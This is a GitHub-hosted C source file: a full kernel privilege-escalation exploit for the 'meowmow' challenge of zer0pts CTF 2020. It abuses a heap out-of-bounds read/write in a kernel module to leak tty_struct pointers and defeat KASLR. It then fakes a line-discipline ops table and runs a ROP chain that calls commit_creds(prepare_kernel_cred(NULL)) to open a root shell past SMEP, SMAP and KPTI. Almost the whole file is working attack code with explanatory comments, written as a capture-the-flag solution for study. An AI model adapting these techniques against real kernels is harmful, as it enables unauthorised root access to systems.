-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkcalc.c
387 lines (304 loc) · 11.7 KB
/
kcalc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <inttypes.h>
#include <string.h>
#include <signal.h>
#include <poll.h>
#define aslr_addr(offs) (kernel_base + (offs))
#define TTY_MAGIC 0x5401
#define TTY_LDISC_OPS_MAGIC 0x5403
#define GADGET_LEAVE_RET aslr_addr(0x1008ae7)
#define GADGET_POP_RSP_RET aslr_addr(0x10007d2)
#define GADGET_POP_RDI_RET aslr_addr(0x1001268)
#define GADGET_POP_R11_RET aslr_addr(0x139890b)
#define GADGET_MOV_QWORD_PTR_R11_RDI_RET aslr_addr(0x197d5e8)
#define GADGET_MOV_RDI_RAX_RET aslr_addr(0x197e2b9)
#define GADGET_SWAPGS_CR3_SWITCH_IRETQ aslr_addr(0x1a00a45)
#define KFN_PREPARE_KERNEL_CRED aslr_addr(0x107bb50)
#define KFN_COMMIT_CREDS aslr_addr(0x107b8b0)
typedef enum {
STATUS_SUCCESS,
STATUS_FAILED
} status_t;
/*
* Kernel exploit for the challenge "meowmow" of zer0pts CTF (2020).
*
* Root cause:
* Heap OOB read/write within a out-of-tree kernel module
*
* Security mitigations enabled:
* KASLR
* KPTI
* SMAP
* SMEP
*
* Solves: 9
* Points: 732
*
* */
/*
* Memory layout overlay. It describes the memory region
* between the vulnerable memo buffer and the
* tty_struct within the kmalloc-1024 slab.
* */
struct __attribute__((packed)) overlay {
union {
uint64_t memo_buffer_start;
uint64_t fake_ldisc_ops_start;
struct {
int32_t ldisc_ops_magic;
int32_t unused_6[0x5];
uintptr_t unused_7[0x8];
uintptr_t ldisc_ops_poll_func;
uintptr_t unused_8[0x7];
};
};
uintptr_t rop_chain[0x40];
uint64_t unused_0[0x2d];
union {
uint64_t tty_struct_start;
struct {
int32_t tty_magic;
int32_t tty_kref;
};
};
union {
struct {
uintptr_t tty_dev;
uintptr_t tty_driver;
};
uintptr_t fake_stack_entry[0x2];
};
uint64_t unused_2[0x8];
uintptr_t tty_ldisc;
uint64_t unused_3[0x36];
uintptr_t tty_write_wait_head;
uint64_t unused_4[0x7];
uintptr_t tty_hangup_work_func;
uint64_t unused_5[0x6];
uintptr_t tty_write_buf;
int32_t tty_write_cnt;
};
#define abs_addr_of(member, rbuf_base) (offsetof(struct overlay, member) + rbuf_base)
#define tty_struct_offsetof(member) (offsetof(struct overlay, member) - 0x400)
void u64_to_bytes(const uint64_t num, uint8_t* buffer) {
for(int32_t i = 0; i < 8; i++)
buffer[i] = (num & ((uint64_t) 0xff << (i * 8))) >> (i * 8);
}
static off_t file_offset(const unsigned int dev) {
return lseek(dev, 0, SEEK_CUR);
}
static void hexdump(const uint8_t* buffer, const uint32_t nbytes) {
for (int i = 0; i < nbytes; i++) {
if (i % 8 == 0 && i != 0)
printf("\n");
printf("%02x ", buffer[i]);
}
printf("\n");
}
static uint64_t rflags(void) {
asm volatile ("pushf");
asm volatile ("pop %rax");
}
static void id(void) {
printf("uid=%d, euid=%d\n", getuid(), geteuid());
}
static void kcalc(void) {
char* filename = "/bin/sh";
char* argp[] = { filename, NULL };
char* envp[] = { NULL };
id();
printf("Success! Here we go. Spawning a root shell...\n");
asm volatile (
"mov %0, %%rdi\n" // load filename pointer into RDI
"mov %1, %%rsi\n" // load argv pointer into RSI
"mov %2, %%rdx\n" // load environment pointer into RDX
"mov $59, %%rax\n" // select execve (0x3b) syscall
"syscall\n" // issue a syscall
:
: "r"(filename), "r"(argp), "r"(envp)
: "%rax", "%rdi", "%rsi", "%rdx"
);
}
int main(void) {
unsigned int memo_dev, ptmx_dev;
uintptr_t kernel_base, tty_struct_base, rbuf_base;
uint8_t fake_ldisc_ops_addr[8];
uint8_t rbuf[0x800];
struct pollfd pfd;
struct overlay* overlay;
uint64_t user_stack;
int exploit_status;
id();
exploit_status = STATUS_SUCCESS;
/*
* allocate vulnerable object (kmalloc-1024)
* */
memo_dev = open("/dev/memo", O_RDWR);
/*
* allocate target object hopefully next
* to vulnerable object
* */
ptmx_dev = open("/dev/ptmx", O_RDWR);
printf("Reading from kmalloc-1024...\n");
printf("fpos @ 0x%llx\n", file_offset(memo_dev));
read(memo_dev, &rbuf[0x000], 0x3ff);
printf("fpos @ 0x%llx\n", file_offset(memo_dev));
read(memo_dev, &rbuf[0x3ff], 0x400);
printf("fpos @ 0x%llx\n", file_offset(memo_dev));
overlay = (struct overlay*) &rbuf[0x000];
if (overlay->tty_magic != TTY_MAGIC) {
printf("fatal: TTY_MAGIC not found! Exit...\n");
exploit_status = STATUS_FAILED;
goto cleanup_and_exit;
}
printf("success: found TTY_MAGIC in tty_struct!\n");
printf("Dumping adjacent tty_struct...\n");
hexdump((uint8_t*) &overlay->tty_struct_start, 0x2c0);
printf("Searching for treasures...\n");
printf("Found tty_struct.hangup_work.func pointer: %p\n", overlay->tty_hangup_work_func);
printf("Found tty_struct.write_wait.head.next pointer: %p\n", overlay->tty_write_wait_head);
printf("Found tty_struct.ldisc pointer: %p\n", overlay->tty_ldisc);
kernel_base = overlay->tty_hangup_work_func - 0x140f6b0;
printf("Calculated kernel text base: %p\n", kernel_base);
tty_struct_base = overlay->tty_write_wait_head - tty_struct_offsetof(tty_write_wait_head);
printf("Calculated tty_struct base (assuming empty write queue): %p\n", tty_struct_base);
rbuf_base = tty_struct_base - 0x400;
printf("Calculated rbuf base address within kmalloc-1024: %p\n", rbuf_base);
/*
* Due to the limited amount of useful gadgets, we have to
* use the "pop rsp; ret" gadget to pivot the stack to our
* main rop chain. Therefore, we can not spare the tty_driver pointer
* and have to overwrite it with the base address of our rop chain.
*
* Furthermore, at this point in time, we will have corrupted the
* ldisc.ops pointer.
*
* Both means, that a call to tty_release(ptmx_dev) will most likely
* cause a kernel panic.
*
* In order to avoid that, we early return from tty_release by ensuring
* that tty_struct.magic does not match TTY_MAGIC (0x5401). Once the stack
* pivot is done, the rop chain will have to corrupt tty_struct.magic
* */
printf("Preparing fake-stack entry and main rop chain...\n");
overlay->fake_stack_entry[0] = GADGET_POP_RSP_RET;
overlay->fake_stack_entry[1] = abs_addr_of(rop_chain, rbuf_base);
/*
* main ropchain, where we
*
* - corrupt tty_struct.magic (=0xbeef)
* - call commit_creds( prepare_kernel_cred(NULL) )
* - switch to trampoline stack
* - swapgs
* - switch to userspace CR3
* - prepare iret stackframe
* - and finally iretq to userspace kcalc routine
*
* Note, that the
*
* "mov qword ptr [rdi], 1"
*
* in GADGET_MOV_RDI_RAX_RET is effectively a no-op, since
* the first quadword of our returned "struct cred" (qword ptr [rdi])
* is already equals to 0x1 due to overlap with cred.usage and cred.uid
* */
overlay->rop_chain[0] = GADGET_POP_RDI_RET; // pop rdi
overlay->rop_chain[1] = 0x000000010000beef; // corrupted magic
overlay->rop_chain[2] = GADGET_POP_R11_RET; // pop r11
overlay->rop_chain[3] = tty_struct_base; // &tty_struct.magic
overlay->rop_chain[4] = GADGET_MOV_QWORD_PTR_R11_RDI_RET; // mov qword ptr [r11], rdi
overlay->rop_chain[5] = GADGET_POP_RDI_RET; // pop rdi
overlay->rop_chain[6] = (uintptr_t) NULL; // rdi = NULL
overlay->rop_chain[7] = KFN_PREPARE_KERNEL_CRED; // prepare_kernel_cred(rdi)
overlay->rop_chain[8] = GADGET_MOV_RDI_RAX_RET; // mov rdi, rax; mov qword ptr [rdi], 1
overlay->rop_chain[9] = KFN_COMMIT_CREDS; // commit_creds(rdi)
overlay->rop_chain[10] = GADGET_SWAPGS_CR3_SWITCH_IRETQ; // swapgs_restore_regs_... after POP_REGS
overlay->rop_chain[11] = 0xdeadbeefbeefdead; // user RDI
overlay->rop_chain[12] = 0x1337c4f341414141; // dummy @ [rdi+0x8]
overlay->rop_chain[13] = (uintptr_t) kcalc; // RIP
overlay->rop_chain[14] = 0x33; // CS (see kernel, __USER_CS)
overlay->rop_chain[15] = rflags(); // RFLAGS
overlay->rop_chain[16] = (uintptr_t) &user_stack; // RSP
overlay->rop_chain[17] = 0x2b; // DS (SS) (see kernel, __USER_DS)
/*
* Technically, it would be easier now to simply OOB into tty_struct.ops
* or tty_struct.ldisc to hijack one of the callbacks.
*
* But, I would like to make use of an arbitrary write primitive
* I found within the tty_struct.
*
* An arbitrary write can be achieved by using the tty_struct double
* buffer (tty_struct.write_buf). Whenever we write to the ptmx device,
* the tty_write function writes the user data to the address pointed to
* by tty_struct.write_buf before actually passing it to the line discipline.
*
* We can set tty_struct.write_buf to the address of our target and write
* arbitrary data to /dev/ptmx. This is our arbitrary write.
*
* if (copy_from_user(tty->write_buf, buf, size))
* break;
* // write = ldisc.ops.write
* ret = write(tty, file, tty->write_buf, size);
*
* Additionally, by setting tty_struct.write_cnt to a large value, we
* avoid the corrupted tty_struct.write_buf pointer from being overwritten
* with a heap address.
*
* if (tty->write_cnt < chunk) {
*
* [...]
* buf_chunk = kmalloc(chunk, GFP_KERNEL);
* [...]
*
* kfree(tty->write_buf);
* tty->write_cnt = chunk;
* tty->write_buf = buf_chunk;
* }
*
* We will use the arbitrary write to overwrite the ldisc.ops pointer
* and fake the callback to poll. Our new poll routine will be a
* single rop gadget to pivot the stack to the base of tty_struct.
* */
printf("Setting up a fake tty_ldisc_ops struct...\n");
overlay->ldisc_ops_magic = TTY_LDISC_OPS_MAGIC;
overlay->ldisc_ops_poll_func = GADGET_LEAVE_RET;
printf("Preparing arbitrary write against tty_struct.ldisc.ops pointer...\n");
printf("\tSetting tty_struct.write_buf = %p\n", overlay->tty_ldisc);
overlay->tty_write_buf = overlay->tty_ldisc;
printf("\tSetting tty_struct.write_cnt = 0xfffff\n");
overlay->tty_write_cnt = 0xfffff;
/*
* submit buffer to kmalloc-1024
* */
lseek(memo_dev, 0x0, SEEK_SET);
write(memo_dev, &rbuf[0x000], 0x3ff);
write(memo_dev, &rbuf[0x3ff], 0x400);
printf("Overwriting tty_struct.ldisc.ops...");
u64_to_bytes(abs_addr_of(fake_ldisc_ops_start, rbuf_base), fake_ldisc_ops_addr);
write(ptmx_dev, fake_ldisc_ops_addr, sizeof(fake_ldisc_ops_addr));
printf("Done!\n");
printf("Triggering rop chain! See you on the other side...\n");
/*
* Our ropchain can be triggered through tty_poll
* by polling the ptmx device.
* */
pfd = (struct pollfd) {
.fd = ptmx_dev,
.events = POLLIN,
.revents = 0
};
/*
* final syscall - We will return from the poll syscall
* in the "kcalc" function with uid 0.
* */
poll(&pfd, 1, 0);
cleanup_and_exit:
close(ptmx_dev);
close(memo_dev);
return exploit_status;
}